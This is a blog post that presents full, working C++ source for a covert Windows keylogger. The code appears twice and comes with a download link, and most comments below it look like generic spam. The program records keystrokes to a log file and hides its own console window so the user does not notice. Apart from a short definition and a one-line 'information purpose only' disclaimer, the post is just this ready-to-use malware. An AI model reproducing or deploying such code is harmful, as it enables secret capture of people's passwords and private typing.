Keylogger in C/C++ Hacking by Rajesh Kumar Sahanee - January 26, 2016April 15, 202022 Post Views: 19,274 Hello Friends, Some of you may be interested in Hacking, So Today I am going to share code related to hacking which is nothing but a Keylogger code. Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogger.cpp C++ #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file); void Stealth(); int main() { Stealth(); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save(i, "LOG.txt"); } } system("PAUSE"); return 0; } /* * ********************************** */ int Save (int key_stroke, char *file) { if ((key_stroke == 1) || (key_stroke == 2)) return 0; FILE * OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf (OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0; } /* * ********************************** */ void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth, 0); } 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677 #include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file);void Stealth(); int main() { Stealth(); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save(i, "LOG.txt"); } } system("PAUSE"); return 0;} /* * ********************************** */ int Save (int key_stroke, char *file) { if ((key_stroke == 1) || (key_stroke == 2)) return 0; FILE * OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf (OUTPUT_FILE, "%s", &key_stroke); fclose(OUTPUT_FILE); return 0;} /* * ********************************** */ void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth, 0);} Output Download Code Keylogger in C/C++ 1 file(s) 0.69 KB Download Reference https://en.wikipedia.org/wiki/Keystroke_logging Note: This is for information purpose only, please don’t use to harm anyone Thanks
Well I truly enjoyed studying it. This post procured by you is very helpful for correct planning. Reply
We’re a bunch of volunteers and starting a brand new scheme in our community. Your site provided us with useful information to work on. You’ve performed a formidable process and our entire group can be grateful to you. Reply
Hello, I believe your web site might be having internet browser compatibility problems. Whenever I take a look at your site in Safari, it looks fine however, if opening in I.E., it has some overlapping issues. I simply wanted to give you a quick heads up! Other than that, wonderful website! Reply
What’s up, I want to subscribe for this web site to get newest updates, therefore where can i do it please help out. Reply
Excellent beat ! I wish to apprentice while you amend your web site, how can i subscribe for a blog website? The account helped me a applicable deal. I were a little bit acquainted of this your broadcast offered vivid transparent idea Reply
It’s an remarkable article in support of all the online people; they will obtain advantage from it I am sure. Reply
Hey there! Do you know if they make any plugins to safeguard against hackers? I’m kinda paranoid about losing everything I’ve worked hard on. Any recommendations? Reply
I read this post completely on the topic of the comparison of most up-to-date and previous technologies, it’s amazing article. Reply
Hello everybody, here every one is sharing such experience, thus it’s nice to read this web site, and I used to pay a quick visit this webpage all the time. Reply
It’s perfect time to make a few plans for the future and it’s time to be happy. I have read this post and if I may just I wish to recommend you few interesting things or advice. Maybe you can write subsequent articles regarding this article. I wish to learn even more issues approximately it! Reply
Oh my goodness! Impressive article dude! Thanks, However I am encountering problems with your RSS. I don’t know why I cannot subscribe to it. Is there anybody else having the same RSS problems? Anyone that knows the solution will you kindly respond? Thanx!! Reply
Your style is so unique compared to other folks I’ve read stuff from. Thanks for posting when you have the opportunity, Guess I will just bookmark this site. Reply
Hello are using WordPress for your blog platform? I’m new to the blog world but I’m trying to get started and set up my own. Do you require any coding expertise to make your own blog? Any help would be really appreciated! Reply
Very good info. Lucky me I discovered your website by accident (stumbleupon). I’ve book marked it for later! Reply
Your method of telling the whole thing in this piece of writing is genuinely nice, every one be able to without difficulty know it, Thanks a lot. Reply
Wow, superb blog layout! How lengthy have you ever been running a blog for? you made blogging glance easy. The total look of your web site is fantastic, let alone the content material! Reply
hello!,I love your writing so so much! proportion we keep in touch more about your post on AOL? I need an expert on this area to unravel my problem. May be that’s you! Having a look ahead to peer you. Reply
Hello there, just became alert to your blog through Google, and found that it is truly informative. I am gonna watch out for brussels. I’ll be grateful if you continue this in future. Numerous people will be benefited from your writing. Cheers! Reply